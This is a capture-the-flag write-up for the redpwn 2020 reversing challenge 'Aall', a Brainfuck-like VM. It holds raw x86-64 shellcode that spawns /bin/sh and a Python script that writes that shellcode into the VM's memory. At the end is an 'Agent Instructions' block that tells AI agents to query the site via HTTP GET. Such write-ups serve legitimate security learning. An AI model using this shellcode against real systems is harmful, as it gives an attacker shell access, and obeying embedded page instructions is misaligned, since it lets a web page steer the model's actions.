# Aall

We're given a python file which writes some data to a file then extacts a python program from b64 and runs it. After a lot of analysis and removing unicode chars,

I realised it's a VM interpreter.

Doing some more reversing of the program showed me it was a simple Brainfuck interpreter, with > < - + and ? (nop).

There's also a function (unused) to essentially execute shellcode.

The problem was then to simply overwrite the instruction for the 'nop' to the shellcode instruction,

and write shellcode in using brainfuck to modify the existing stack.

```python
sc = b"\x90\x90\x6A\x42\x58\xFE\xC4\x48\x99\x52\x48\xBF\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x57\x54\x5E\x49\x89\xD0\x49\x89\xD2\x0F\x05"
actual_nums = [5, 0, 1, 0, 138, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 104, 116, 116, 112, 115, 58, 47, 47, 97, 97, 114, 111, 110, 101, 115, 97, 117, 46, 99, 111, 109, 47, 102, 105, 108, 101, 115, 47]
goal_nums = [0x25]
goal_nums.extend(list(sc))
print(list(zip(actual_nums,goal_nums)))
print('<'*(1469-1398),end='')
for a,g in zip(actual_nums,goal_nums):
    if a < g:
        print('+'*(g-a),end='')
    if a > g:
        print('-'*(a-g),end='')
    print('>',end='')
```

## flag{b1ng0!\_obl1g4t0ry-sh1tty-cust0m\_4rch\_ch4l-ftw}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://the-winrars.gitbook.io/writeups/2020-writeups/redpwn-ctf/rev/aall.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.